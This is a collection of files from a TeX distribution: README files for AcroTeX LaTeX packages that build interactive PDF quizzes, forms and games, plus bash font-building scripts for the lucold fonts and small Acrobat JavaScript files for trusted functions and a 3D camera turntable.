nopro option to access features (1)--(3),
Extensive examples illustrate all these features.
Installation Instructions: Contained in the documentation
aebpro_man.pdf and in install_jsfiles.pdf.
Let me know if there are problems or suggested features. E-mail
me at <EMAIL> or <EMAIL>
The AcroTeX Blog (http://blog.acrotex.net/) lists the distribution files at
http://www.acrotex.net/blog/?page_id=835, all demo files that use AeB Pro
are listed at http://www.acrotex.net/blog/?tag=aeb-pro.
What's New (2021-06-20) Now require acrotex-js (https://www.ctan.org/pkg/acrotex-js)
to provide the folder JavaScript support and instructions for installation
and testing.
What's New (2021-04-27) Added aebCertifyInvisibleSign() to aeb_pro.js
(Version 1.5) This JS function supports http://www.acrotex.net/blog/?p=1274,
an article titled Certify Invisible Signing using AeB Pro.
What's New (2021-02-07) Fix a long time bug of page events.
What's New (2021-02-04) Updated documentation to reflect new security restriction
by Adobe Acrobat DC (purchased or updated after December 2020). Authored the document
acrobat-in-workflow.pdf to explain the procedure to configure Acrobat DC. Creating
an altnernative name of aeb-pro, to conform to CTAN naming.
What's New (2019/03/21) This new version requires aeb-comment
(version 3.2 of the comment package). Changed the order of
loading of the insdljs package.
What's New (2018-02-17) Added a star-option to \texHelp, added demo files to
illustrate rollover animation techniques (http://www.acrotex.net/blog/?tag=rollovers).
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/pmdb/README.md
The pmdb Package
Author: <NAME>
Dated: 2021-06-07
This "poor man's database" (pmdb) package promotes a workflow
for building exams, homework, and other content. The package
supports the creation of a PDF document, which is a database of
problems (or content) to be included in a target document. The
package inserts checkboxes into the margins of the DB document;
the instructor can select which which of the problems are to be
included in the target document by checking one ore more of the
checkboxes. By clicking the special \displayChoices control, the
selected content is copied into the AR/AA console window in the
form of \input statements (\input{prob1.tex}, eg), which is then
be copied and pasted into the target document. By pressing
Ctrl+Click while hovering over a checkbox, the associated
content is loaded into the default application, possibly a LaTeX
editor. For the Ctrl+Click feature to work, the file
aeb-reader.js needs to be installed. As the filename suggests,
this file will work for Adobe Acrobat Reader (DC), as well as
for the magnificent Adobe Acrobat itself.
What's New (2021-06-07) New command \editSourceOn, which inserts
a pushbutton in the margin; pressing the button loads the source
file in the default editor. Expanding \useEditLnk replaces the
marginal pushbutton with a link annotation. A new input mode
\InputProbs, allows inputting problems for a eqexam document.
Enjoy!
Now, I must get back to my retirement.
<NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/source/latex/lucold/maketfm
#! /bin/bash
# $Id: maketfm,v 1.1 1999/05/25 12:16:26 loreti Exp $
cp $TETEXDIR/texmf/fonts/tfm/bh/lubright/hlh??t.tfm .
cp $TETEXDIR/texmf/fonts/tfm/bh/lumath/hlc?im*.tfm .
for file in *.tfm
do tftopl $file ${file%tfm}pl
done
awk >hlor7t.pl -f maketfm.awk \
-v infile1=hlhr7t.pl -v infile2=hlcrima.pl
awk >hlob7t.pl -f maketfm.awk \
-v infile1=hlhb7t.pl -v infile2=hlcdima.pl
awk >hlor8t.pl -f maketfm.awk \
-v infile1=hlhr8t.pl -v infile2=hlcrima.pl
awk >hlob8t.pl -f maketfm.awk \
-v infile1=hlhb8t.pl -v infile2=hlcdima.pl
pltotf hlor7t.pl hlor7t.tfm
pltotf hlob7t.pl hlob7t.tfm
pltotf hlor8t.pl hlor8t.tfm
pltotf hlob8t.pl hlob8t.tfm
rm hl???t.pl hlc?im*.tfm
<file_sep>/texmf-dist/doc/latex/digicap-pro/README.md
Package: digicap-pro
Author: <NAME>
Dated: 2018/05/13
The digicap-pro package creates captions to digital photos (or graphics) and
selectively places them on top with a selected opacity. Captions can be
static or they can be rollovers (hidden until the user rolls over the image).
As a bonus, the document author can create a photo album complete with
thumbnail versions of the photos, which when clicked, the fullsize photo
appears with caption and title.
PDF Creator: Adobe Distiller is required, with transparancy operator set to true
(/AllowTransparency true).
Also see http://blog.acrotex.net/ for the latest on my
ruminations on LaTeX and PDF.
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/acroflex/README.md
The AcroFleX Package
Author: <NAME>
Dated: 2016/08/29
The acroflex package is part of the AeB Pro family of packages.
It is a package that creates a graphing screen using the
rmannot package. The user can type in functions and graph them.
A graphing screen can be populated with pre-packaged functions for
the user the scrutinize and interact with. The package can graph
functions of a single variable x, a pair of parametric equations that
are functions of t, and a polar function of t.
The graphing screen is a rich media annotation what uses a specially
developed SWF file, called the AcroFLeX Graphing widget. This package
takes advantage of rich media annotations, which is a version 9 feature
of Acrobat. This package requires Acrobat Pro and Distiller version 9.
The user needs to use Adobe Reader 9.0 in order to obtain the graphing
functionality.
Further description and examples may be found at the acroflex home page at
http://www.math.uakron.edu/~dpstory/acroflex.html
Let me know if there are problems or suggested features. e-mail
me at <EMAIL> or <EMAIL>
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
2016/01/30
<file_sep>/texmf-dist/doc/latex/acrotex/examples/README.md
AeB Examples folder
Contents:
1. test_install.pdf : To verify that you correctly installed aeb.js, for
Distiller users only, open this file in Acrobat and follow the directions.
2. webeqtst.tex : Basic file highlighting feature of web and exerquiz
(exercises and multiple choice quizzes).
3. jquiztst.tex : Features math fill-in quizzes of exerquiz.
4. jtxttst.tex : Features text fill-in question of exerquiz.
There are numerous other examples available, the resources are
1. The full collection of AeB distribution files are located at
http://www.acrotex.net/blog/?cat=89
2. Demo files whose focus is the web package are
http://www.acrotex.net/blog/?tag=web-package
3. Demo file whose focus is the exerquiz package are
http://www.acrotex.net/blog/?tag=exerquiz
4. Demo files for the dljslib package are
http://www.acrotex.net/blog/?tag=dljslib
5. Demo files with focus on the extended or pro option of web are here:
http://www.acrotex.net/blog/?tag=extended-option
The AcroTeX Blog (http://www.acrotex.net/blog/) is a great resource for all things
AeB and PDF.
<NAME>
2021-06-19
<file_sep>/texmf-dist/doc/latex/aeb-mobile/README.md
The aeb_mobile Package
Author: <NAME>
Dated: 2018/04/26
Version: v1.4
The package is a simple application of the web and eforms packages from
the acrotex collection to format a PDF for a smartphone.
The design aim was to maximize the viewing and printing experience when
the PDF is viewed on the desktop/laptop and in a smartphone.
Also distributed is the spdef package. This package has four options:
pa, ph, use, !use. pa sets the \ifsmartphone switch (defined in
aeb_mobile) to false (meaning paper); ph sets \ifsmartphone to true
(meaning smartphone); use is a general purpose key for creating stitches
on the fly, use=preview defines a switch \ifpreview and sets it to true,
while !use=preview defines a switch \ifpreview and sets it to false.
What's new (2018/04/26): Added a 'dummy' package named aeb-mobile, which is
the name this package is listed under.
Enjoy!
Now, I must get back to my retirement.
dps
<file_sep>/texmf-dist/doc/latex/bargraph-js/README.md
The bargraph-js Package
Author: <NAME>
Dated: 2019-04-07
The package uses Acrobat forms and Acrobat JavaScript API to create and
manipulate interactive bar graphs. This means the user can enter data in a
couple formats, to populate the bar graphs. The package can also be used to
create and display discrete probability distributions, for both the pmf and
cdf of a distribution.
Any bar graph created by the bargraph-js package requires Adobe Reader DC (or
Acrobat) for full functionality.
PDF Creators: Any of the usual PDF creator can be used; however, to repeat,
an Adobe PDF reader is required for full functionality.
Enjoy!
Now, I must get back to my retirement.
<NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/docassembly/README.md
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% docassembly.sty package, %%
%% Copyright (C) 2021 <NAME> %%
%% <EMAIL> %%
%% %%
%% This program can redistributed and/or modified under %%
%% the terms of the LaTeX Project Public License %%
%% Distributed from CTAN archives in directory %%
%% macros/latex/base/lppl.txt; either version 1.2 of %%
%% the License, or (at your option) any later version. %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Dated: 2021-06-19
Targeted audience: LaTeX authors who love their pdflatex, lualtex, xelatex,
or dvips -> ps2pdf workflow, who also own Acrobat Pro application.
The docassembly package defines the docassembly environment in which
JavaScript code can be written to execute once and only once the newly
created PDF in the Acrobat application. The package also defines a series of
helper commands to execute security restricted JavaScript methods. Using
these security restricted commands, you can place watermarks on the document,
attached files, import icons and sounds, insert pages, extract pages, send
email, and so on. All these methods I have used for years through the aeb_pro
package, which generally restricted to a dvips -> distiller workflow. Now,
these methods are available to all those who own Acrobat, no matter what PDF
creator used.
What's New (2021-06-19) Moved some documentation from this package to
the acrotex-js package. New require acrotex-js dated 2021/06/19 or later.
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/fetchbibpes/README.md
The fetchbibpes Bundle
Author: <NAME>
Dated: 2021-03-08
This bundle provides two packages, bibpes and fetchbibpes. This pair of
packages was motivated by a friend, who was preparing Bible studies lessons
using a combination of the application e-Sword (http:--www.e-sword.net-) and
LaTeX. He wanted a `database' of Bible packages from which he could simply
`fetch' passages into the LaTeX source file.
1. The bibpes package is the `database' part of the problem. Use the
e-Sword application to copy and paste desired passages into an
(empty) TXT file. Use makebibpes.tex to convert the TXT file to a DEF
file formatted in a way that is usable by fetchbibpes.
2. The fetchbibpes package is the `fetch' portion. Using the fetch
commands of fetchbibpes to reference the passages to be typeset into
the \LaTeX source. Two commands, \fetchverse and \fetchverses are
defined with numerous support options for formatting the verses.
A simple example is \fetchverses{Gen 1:1-10}, the command fetches
the passage Genesis 1:10 from the `database' of DEF files input
into the source document.
Unpack the distribution by latexing fetchbibpes.ins.
What's new (2021-03-08) Minor changes that support the eq-fetchbbl package.
What's new (2018-07-30) Bug fixes. Added the cfg option for specifying a
custom contiguration file. New commands \showTranslAlways, \showTranslDecld,
\translFmt, \translTxtFmt, and \cobblevrs. All documented in the manual.
NOTE: The format for the CFG file has changes, you will need to update to
this new syntax; refer to Section 3.8 of the manual and to fbpes.cfg for an
example.
What's new (2018-07-12) Defined a new command \fetchversestxt; the command
has the same arguments as \fetchverses, but it does not expand to typeset
content. Rather, it defines two commands \versetxt and \passagetxt. These two
are the passage reference and the passage for that verse but with all \LaTeX
styling and font changes.
What's new (2018-03-21): Implemented open ended ranges, for example,
\fetchverses{Joh 3:27-} fetches all passages from John, chapter 3, starting
with verse 27 until the end of the chapter.
What's new (2016-09-24): Changed behavior of the alt key. Added an alt* key.
Enjoy.
<NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/acrotex-js/js-files/aeb.js
/*
AEB Import FDF Methods
Copyright (C) 2006--2016 AcroTeX.Net
<NAME>
http://www.acrotex.net
Version 1.0
*/
if ( typeof aebTrustedFunctions == "undefined") {
aebTrustedFunctions = app.trustedFunction( function ( doc, oFunction, oArgs )
{
app.beginPriv();
var retn = oFunction( oArgs, doc )
app.endPriv();
return retn;
});
}
aebImportAnFDF = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
doc.importAnFDF(oArgs);
app.endPriv();
});
<file_sep>/texmf-dist/doc/latex/thorshammer/README.md
The thorshammer Package
Author: <NAME>
Dated: 2021-06-24
WARNING: Adobe Acrobat DC or Adobe Acrobat XI is required for
post PDF-creation. Any PDF-creator application is supported.
This package implements an idea by <NAME>. for assessment
using PDF quizzes produced by the exerquiz package. Thorsten not
only wanted to pose multiple choice, multiple selection, and
fill-in type questions, but also wanted to ask extended response
questions that would be manually evaluated. Once the quiz is
graded, the instructor may optionally pass the quizzes through
an Acrobat action sequence to extract the student's name and
grade from the quizzes. The extracted information is saved to a
tab-delimited TXT file. The instructor can later merge this file
into a larger spreadsheet.
Note: Unzip action-sequences.zip to obtain the action-sequences folder.
If intriguing, install thorshammer and try this workflow.
What's New (2021-06-24) Moved aeb_pro.js to the acrotex.js package, which is
now required. Other minor changes and fixes.
What's New (2020-01-21) Published password of action sequences.
Enjoy!
Now, I must get back to my retirement.
<NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/icon-appr/README.md
The icon-appr Package
Author: <NAME>
Dated: 2020-06-05
Use this package to create icon appearances for push buttons, check box buttons,
and radio buttons form fields.
Package works for pdflatex, lualatex, xelatex, dvips/distiller or dvips/ps2pdf; some
techniques require Acrobat. Pdfmark-type drivers require, depending on the method used,
aeb_pro or graphicxsp.
PDF Viewers: Adobe Reader DC, PDF-XChange Editor, and, of course
Adobe Acrobat. SummatraPDF previews the icon buttons very well.
What's New 2020-06-05: The basic functionality of this package
is unchanged. In this version, the AP entry is added to the
Names dictionary of the PDF catalog. This means that the names
of the icons imported in the embedding environment are known to
Acrobat/Adobe Reader/PDF-Exchange Editor. It also allows the
icons to be manipulated using JavaScript methods, the most
significant of which is the Doc.getIcon(<icon-name>) method.
Revised examples illustrate Doc.getIcon().
Enjoy!
Now, I must get back to my retirement.
dps
dpstory at acrotex dot net
<file_sep>/texmf-dist/doc/latex/jj-game/README.md
The jj_game Class
Author: <NAME>
Dated: 2016/11/24
JJ_game class is a Jeopardy-like game in which you compete for cyber money by
answering questions composed by the game author. The questions can be
multiple choice, math fill-in or text fill-in.
Since the year 2000, many techniques have been developed, and this
version of jj_game has many enhancements an new features:
(1) Added the ability to pose math and text fill-in questions
(2) Enhanced control over the color design of the game
(3) The distribution comes with 9 designs (color schemes)
jeopardy, florida, iceland, hornet, qatar, norway, germany,
bahamas and spain
(4) Five general graphical backgrounds provided, and two additional
ones that are used in a custom design
(5) language option, currently english and german. Additional
languages will be added as translators volunteer
The basic game can be constructed using dvips, pdftex, luatex, and xelatex.
Additionally, there is a pro option that requires the use of dvips/Distiller
workflow (Acrobat Pro 7.0 or later required).
I have used the jj_game class in some of my classes for extra
credit; for this purpose, the following features were developed:
(6) A forcredit option that forces the student---assuming the
contestant is taking the game for credit---to enter his/her name.
(7) With the pro option, layers are used to hide the questions
from the contestant before he/she selects a question from
the game board. When the contestant selects a question, the
question is made visible. The questions are in layers with
a no print attribute, so the contestant cannot print out the
game and distribute the questions to other contestants even if
the questions are visible.
Documentation jjg_man.pdf contains all details of the game, and
wonderful demo files are also supplied.
What's New (2016/11/24): Brought jj_game class up to conformance to the
modern exerquiz package, which has changed over the years.
Comments and suggestions are always gratefully accepted and seriously
considered.
Hope you like the new version, now, I simply must get back to my
retirement!
one dps
dpstory at uakron dot edu
dpstory at acrotex dot net
<file_sep>/texmf-dist/doc/latex/acrotex-js/README.md
The acrotex-js Package
Author: <NAME>
Dated: 2021-06-24
In the distribution of this package are two critical JavaScript files (aeb.js
and aeb_pro.js) used by the packages insdljs, aeb_pro, thorshammer, and
docassembly. Previously these JS files where distributed with the individual
packages, now they are distributed by this package and must be installed according
to the instructions in the docs folder.
What's New (2021-06-24) Version 1.6.2 of aeb_pro.js and Version 1.0 of aeb-reader.js
What's New (2021-06-19) Move certain files from other packages:
acrobat-in-workflow.pdf and test_install.pdf
dps
<file_sep>/texmf-dist/doc/latex/aeb-mlink/README.md
Package: aeb_mlink
Author: <NAME>
Dated: 2020-07-12
The aeb_mlink package defines new link commands to create multi-line links.
The new commands are \mlhypertext, \mlhyperlink, \mlhyperref, \mlnameref,
\mlNameref, \mlhref, and \mlurl.
PDF Creators: Adobe Distiller or ps2pdf.
What's New (2020-07-12): An aeb_mlink document can now be compiled with
pdflatex, lualatex, or xelatex. In this case, no links are created and
only the link text is typeset. In this way, in theory, document authors
can use their favorite PDF creator and view the document in their favorite
PDF previewer (SumatraPDF). To create multi-line links, compile with a
dvips->(distiller|ps2pdf) workflow.
What's New (2018-08-18): Created \turnSyllbCntOn (\turnSyllbCntOff) to turn
on (resp., off) the viewing of syllable numbers. Reorganize core program to
accommodate the use of \mlhypertext command within the program code of
annot_pro. (This is to implement text markup annotations in that package.)
What's New (2018-04-26): Included a 'dummy' package named aeb-mlink. The
aeb_mlink package is listed on CTAN as aeb-mlink, though there is no such
package by that name. Well, now there is.
What's New (2018-04-20): Previously, the links created by aeb_mlink consisted
of a series of rectangles around each of the syllables of the hypertext or
url; the little rectangles responded in unison when any one of them were
clicked. In this version, Postscript procedures are used to combine the
little rectangles into one rectangle per line of hypertext. Also the Rect
entry has been changed to be the smallest rectange that encloses the
hypertext (or url). The Postscript tries to detect problems with the links,
and reports to the log (distiller or ps2pdf log). The PDF Specification does
not support cross-page links, to resolve this issued, a method of 'cracking'
a link apart, breaking it into two links. The second link is free to move to
the next page.
This package requires the latest version of AeB, in particular, the eforms
package required is dated 2018-03-22 or later. See ctan.org/pkg/acrotex.
In addition to the demo files distributed with the package, there are two new
demo files available from the AcroTeX Blog webiste:
aeb_mlink: Fixing multi-line link boxes
(http://www.acrotex.net/blog/?p=1377)
aeb_mlink: Crossing page boundaries with multi-line links
(http://www.acrotex.net/blog/?p=1383)
Let me know if there are problems or suggested features. e-mail
me at <EMAIL> or <EMAIL>
My other web site is http://blog.acrotex.net/ has the latest on my
ruminations on LaTeX and PDF.
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/qrcstamps/README.md
Package: qrcstamps
Author: <NAME>
Dated: 2018/06/02
The qrcstamps package enables the document author to create QR Codes, the
QR Code Symbology are caste onto a dynamic stamp annotation.
PDF Creator: Adobe Distiller or ps2pdf can be used as the PDF creator, but
the full Acrobat application is needed to perform post-creation tasks. One the
document is created and saved, it can be viewed by any appropriate PDF viewer.
Also see http://blog.acrotex.net/ for the latest on my
ruminations on LaTeX and PDF.
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/graphicxsp/README.md
The GraphicxSP Package
Author: <NAME>
Dated: 2019-11-13
What's new (2019-11-13) The latest LaTeX core defines \IfFileExists@, which
brakes this package, fix is applied.
What's new (2018-11-20) Minor changes to support the icon-appr package.
GraphicxSP is an extension of the graphicx package. GraphicxSP
embeds the graphic in the PDF document once, and allows the document
author to use and re-use that same graphic without significantly
increasing the file size. Additionally, GraphicxSP supports Adobe
transparency imaging model.
GraphicxSP is useful for repeated graphics like backgrounds,
watermarks, company/universit logos and so on. The graphics
produced by GraphicxSP appears to be clearer at high zoom factors
than the same graphic produced by the classic Graphic package.
Restriction: This package requires that the PDF be created by Adobe
Distiller, version 5.0 or greater for graphics without transparency,
version 5.0 with transparency.
Installation Instructions: Place the zip file in your latex search
path and unzip. Refresh your file name database, and you are ready
to go. Start with documentation and the demo files contained in the
examples folder.
Let me know if there are problems or suggested features. e-mail
me at <EMAIL> or <EMAIL>
General resource for what's new in AcroTeX packages: http://blog.acrotex.net/.
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
2016/02/19
<file_sep>/texmf-dist/source/latex/lucold/makevf
#! /bin/bash
# $Id: makevf,v 1.1 1999/05/25 12:16:26 loreti Exp $
cp $TETEXDIR/texmf/fonts/vf/bh/lubright/hlh??t.vf .
for file in hlh??t.vf
do base="${file%vf}"
vftovp ${base}vf ${base}tfm ${base}vpl
done
to="hlor7t"; from="hlhr7t.vpl"; mft="hlcrima"
ck="$(grep CHECKSUM ${mft}.pl | cut -d" " -f3 | sed 's/)//')"
awk >tmp -f maketfm.awk -v infile1=$from -v infile2=${mft}.pl
awk >${to}.vpl -f makevf.awk -v infile=tmp \
-v mft=$mft -v ck=$ck
vptovf ${to}.vpl ${to}.vf ${to}.tfm
rm tmp
to="hlob7t"; from="hlhb7t.vpl"; mft="hlcdima"
ck="$(grep CHECKSUM ${mft}.pl | cut -d" " -f3 | sed 's/)//')"
awk >tmp -f maketfm.awk -v infile1=$from -v infile2=${mft}.pl
awk >${to}.vpl -f makevf.awk -v infile=tmp \
-v mft=$mft -v ck=$ck
vptovf ${to}.vpl ${to}.vf ${to}.tfm
rm tmp
to="hlor8t"; from="hlhr8t.vpl"; mft="hlcrima"
ck="$(grep CHECKSUM ${mft}.pl | cut -d" " -f3 | sed 's/)//')"
awk >tmp -f maketfm.awk -v infile1=$from -v infile2=${mft}.pl
awk >${to}.vpl -f makevf.awk -v infile=tmp \
-v mft=$mft -v ck=$ck
vptovf ${to}.vpl ${to}.vf ${to}.tfm
rm tmp
to="hlob8t"; from="hlhb8t.vpl"; mft="hlcdima"
ck="$(grep CHECKSUM ${mft}.pl | cut -d" " -f3 | sed 's/)//')"
awk >tmp -f maketfm.awk -v infile1=$from -v infile2=${mft}.pl
awk >${to}.vpl -f makevf.awk -v infile=tmp \
-v mft=$mft -v ck=$ck
vptovf ${to}.vpl ${to}.vf ${to}.tfm
rm tmp *.pl *.vpl hlh*.tfm hlh*.vf
<file_sep>/texmf-dist/doc/latex/rmannot/examples/rm3da/js/turntable.js
/////////////////////////////////////////////////////////////////////
//
// turntable.js
//
// JavaScript for use with `3Djscript' option of \includemovie
//
// * Greatly improves the rotational behaviour of the 3D object,
// prevents it from tilting to the side while dragging the mouse.
// This is achieved by suppressing the rolling of the camera about
// its optical axis.
//
/////////////////////////////////////////////////////////////////////
console.println("turntable.js");
// maximum pitch (degrees from horizontal) of the camera
var max_alpha = 88;
var min_beta = 90 - max_alpha; // the complement
var cos_min_beta = Math.cos(min_beta * Math.PI/180);
var tan_min_beta = Math.tan(min_beta * Math.PI/180);
var camera = scene.cameras.getByIndex(0);
camera.axis_up = camera.up.subtract(camera.position);
camera.axis_up.normalize();
//updates the vertical axis of rotation whenever a predefined view
//is selected from the drop down list in the 3D toolbar
var cameraEventHandler = new CameraEventHandler();
cameraEventHandler.onEvent = function (e) {
camera.axis_up = camera.up.subtract(camera.position);
camera.axis_up.normalize();
}
runtime.addEventHandler(cameraEventHandler);
//suppresses camera rolling and limits camera pitch
var mouseEventHandler = new MouseEventHandler();
mouseEventHandler.onMouseMove = true;
mouseEventHandler.onEvent = function (e) {
runtime.setCurrentTool(runtime.TOOL_NAME_ROTATE);
var c2c = camera.position.subtract(camera.targetPosition);
var roo = c2c.length;
c2c.normalize();
cos_beta = c2c.dot(camera.axis_up); //cos of enclosed angle
//correct the camera position if it is too high or too low
if(Math.abs(cos_beta) > cos_min_beta) {
//auxiliary vectors a & b
var a = camera.axis_up.scale(cos_beta);
var b = c2c.subtract(a);
b.normalize();
b.scaleInPlace(tan_min_beta * a.length);
c2c.set(a.add(b));
c2c.normalize();
camera.position.set(camera.targetPosition.add(c2c.scale(roo)));
cos_beta = c2c.dot(camera.axis_up);
}
//suppress rolling
camera.up.set(
camera.position.add(camera.axis_up).add(c2c.scale(-cos_beta))
);
};
runtime.addEventHandler(mouseEventHandler);
<file_sep>/texmf-dist/doc/latex/popupmenu/README.md
The popupmenu Package
Dated: 2020-07-26
popupmenu is a LaTeX package used to create a menu structure. This
menu structure (an array of menu items) is passed to the Acrobat
JavaScript method app.popUpMenuEx() method to create a popup menu.
Using the environments defined in this package, and the command
\popUpMenu, you can create and display hierarchical menus.
Workflows supported: pdflatex, lualatex, xelatex,
dvips-><distiller|ps2pdf>.
What's New 2020-07-26: Defined the tracking option and the
\puProcessMenu command to track menu selections. Other
improvements and bug fixes were made.
<NAME>
2020-07-29
<file_sep>/texmf-dist/doc/latex/acromemory/README.md
aebacromemory
Dated: 2020-06-23
Author: <NAME>
AcroMemory is a memory game in which you find the matching
tiles. There are two versions, available as options of this
package, acromemory1 and acromemory2 (the default).
acromemory1: Here you have a single game board, a rectangular
region divided by rows and columns. The total number of tiles
should be even, each tile should have a matching twin. The game
begins with all the tiles hidden. The user clicks a tile, then
another. If the tiles do not match, they become hidden again ;
otherwise, they remain visible and are now read-only. The game
is complete when the user, with a lot of time on his/her hands,
matches all tiles. There is a running tabulation kept on the
number of tries. There is also a button which resets the game
and randomizes the tiles.
acromemory2: For this game you have two identical rectangular
images subdivided into tiles, which are arrayed in rows and
columns. The tiles for one of the two images are randomly
re-arranged. The object of the game is to find all the matching
tiles by choosing a tile from one image and a tile from the
other image. As in the first case, if the selected tiles do not
match, they are hidden after a short interval of time;
otherwise, they remain visible and are now read-only. The game
is over when all tiles are matched; when this occurs,
end-of-game special effects occur that will dazzle the senses.
There is an option to view a small image to help you locate the
matching tiles on the non-randomized; useful if the image is
complex. There is a button which resets the the game and
randomized the tiles.
What's New v2.0 (2020-06-23): acromemory has been completely
re-written so that all LaTeX workflows are now supported:
pdflatex, lualatex, xelatex, and dvips -> distiller.
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/acrotex/README.md
The AcroTeX eDucation Bundle (AeB)
Author: <NAME>
Dated: 2021-06-19
AeB contains the following:
1) web Package: Extensive support for page design.
2) exerquiz Package: Support for creating online interactive exercises and
quizzes.
3) eforms Package: Extensive support for Acrobat forms and links
4) dljslib package: A package of JavaScript functions that extends the
capability of exerquiz.
5) taborder package: Supports the create of a tab order for form fields.
6) Documentation for AeB (AcroTeX eDucatation Bundle) and eforms
(including insdljs and dljslib).
What's New (2021-06-19) Move files out of this distribution to the
acrotex-js package, dated 2021/06/19 or later. The folder JavaScript
file aeb.js (and aeb_pro.js) are now distributed with acrotex-js. Installation
instructions are now included with that package.
What's New (2021-05-29)
exerquiz: Internal changes to Begin Quiz and End Quiz actions to
support eq-pin2corr package. Exerquiz now tracks duplication quiz names.
Shift-Begin Quiz now clears the quiz without initializing it.
What's New (2021-05-15)
exerquiz: Some bug fixes.
Defined the new insertAt key of the \bChoices command. See
http://www.acrotex.net/blog/?tag=enhanced-quizzes for discussion
and demo files.
What's New (2021-05-10)
web: added navibar* option
exerquiz: new option usealtadobe is passed to insdljs
new option userbmintrvl, see http://www.acrotex.net/blog/?p=1482
shortquiz: Enhanced user experience, see http://www.acrotex.net/blog/?p=1489
and http://www.acrotex.net/blog/?p=1493.
Other new demo files:
eqexam: A Matching-type Problem: http://www.acrotex.net/blog/?p=1457
exerquiz
Matching-type questions: http://www.acrotex.net/blog/?p=1446
Randomized matching-type questions: http://www.acrotex.net/blog/?p=1449
A spell checking feature: http://www.acrotex.net/blog/?p=1437
insdljs: Exploring the defineJS environment: http://www.acrotex.net/blog/?p=1442
What's New (2021-04-24)
exerquiz: Options usemcfi and userbmintrvl, bug fixes.
dljslib: Revised useGermanNums, created alias of useDeNums, see http://www.acrotex.net/blog/?p=1039
new option useEnNums, a companion to useDeNums, http://www.acrotex.net/blog/?p=1470
What's New (2021-02-28) exerquiz: bug fix to \rbtAAKey. web: removed legacy code.
What's New (2021-02-17) exerquiz: Added an optional fourth argument to the JavaScript
function DisplayQuizResults(), this is in support of the eq-pin2corr
package.
What's New (2021-02-21) Bug fixes
What's New (2021-02-07) Minor change in the defineJS environment that is
critical to a fix in the page events environments of aeb_pro.
What's New (2021-02-04) Updated documentation to reflect security changes
in Acrobat, authored acrobat-in-workflow.pdf to distribute with the AeB.
What's New (2021-01-20) Defined two commands \doNotRandomizeChoices
and \allowRandomizedChoices; these turn off and turn on the randomization
of choices in MC and MS questions.
What's New (2020-12-30)
exerquiz: Minor bug fixes; converted some inline JS to JS in
the defineJS env.
eforms: New keys for option list of form macros: \rectW, \rectH,
\width, \height, \scalefactor. Also introduced are \textFontDefault,
\textSizeDefault, and \btnSpcr. All form fields and link annotations
now obey \pdfSpacesOn (and \pdfSpacesOff).
insdljs: Added \Thread and \Launch actions; \dfnJSCR and \dfnJSCRDef.
New options of defineJS: \makecmt and \typeset. Improved the defineJS
environment. Refer to http://www.acrotex.net/blog/?p=1442
for a full discussion of the defineJS and all its features.
What's New (2020-11-20) Fixed minor, yet critical, bug converning duplicate
definition of \URI.
What's New (2020-11-11) Added new command \SpellCheck, to check the spelling
of a fill-in question (exerquiz). Added width, height, scalefactor keys to
form fields to rescale fields (eforms).
What's New (2020-03-14) Minor changes that support new features of eqexam.
What's New (2020-01-01) Replace use of \count0 with new counter \eqtmpcnta,
in situation, the value of \count0 was leaking out giving incorrect page
numbers.
What's New (2019-12-17) Defined \InputExrSolnsLevel and \InputQzSolnsLevel to
make it easy to change the section-type for the solution pages.
What's New (2019-08-13) Use \protect when formatting a enhanced preview value.
Other minor changes and bug fixes.
What's New (2019-05-24) Added the enhanced preview feature. When in effect
along with ordinary preview, captions of buttons and initial values of other
fields are viewable in non-conforming PDF readers.
What's New (2019/03/16) minor bug fixes; added \bParams/\eParams command pair
to pass arguments to JS code snippets declared within the defineJS
environment. Fixed the spacing problem when dvips is used to compile a doc
containing the defineJS environment.
What's New (2018/12/13) More changes in exerquiz to support mi-solns; misc. bug fixes.
What's New (2028/12/05) Some changes in exerquiz to support mi-solns. Require aeb-comment
(version 3.2 of comment.sty). The newer versions of comment.sty are incompatible with
eqexam (which is supported by exerquiz) and introduces spurious spaces.
What's New (2018/11/27) Some changes to eforms package to support the new icon-appr
package.
What's New (2018/08/16) Changes to eforms and insdljs: several keys (eforms) added to
support aeb_mlink and annot_pro; switch add to insdljs to detect whether document JS
has been included.
What's New (2018/03/22) Changes in eforms to support features of aeb_mlink. Minor bug fixes
What's New (2018/02/13) Added commands to optionally group each solution when the appear
at the end of the file; this applies both exercises and quizzes.
What's New (2017/09/06) Suggested new problem type: "Correcting a math problem", see
http://www.acrotex.net/blog/?p=1335 for a demo. Better compatibility with luatex. Minor
bug fixes.
What's New (2017-08-08) Support for multi-letter variables, alternate appearances,
and interval repetition. The demo file for these features is
http://www.acrotex.net/blog/?p=1330
Examples for AeB have been moved to
http://www.math.uakron.edu/~dpstory/webeq_ex.html, another copy
of the examples are at http://www.acrotex.net/blog/?cat=89
Additional examples are posted on the AcroTeX Blog page
http://www.acrotex.net/blog/
Now, I simply must get back to my retirement.
<NAME>
www.acrotex.net
dpstory at uakron dot edu
dpstory at acrotex dot net
<file_sep>/texmf-dist/doc/latex/fc-arith/README.md
The fc_arith Package
Author: <NAME>
Dated: 2017-01-16
fc_arith is a LaTeX package used to create an arithmetic flash card.
Addition, subtraction, multiplication, and division problems are randomly
generated. There is a menu system for setting the intervals from which to randomly
draw numbers, and the number of decimal places these numbers should have. The user
can optionally compete against the clock, and awarded points as a function of how
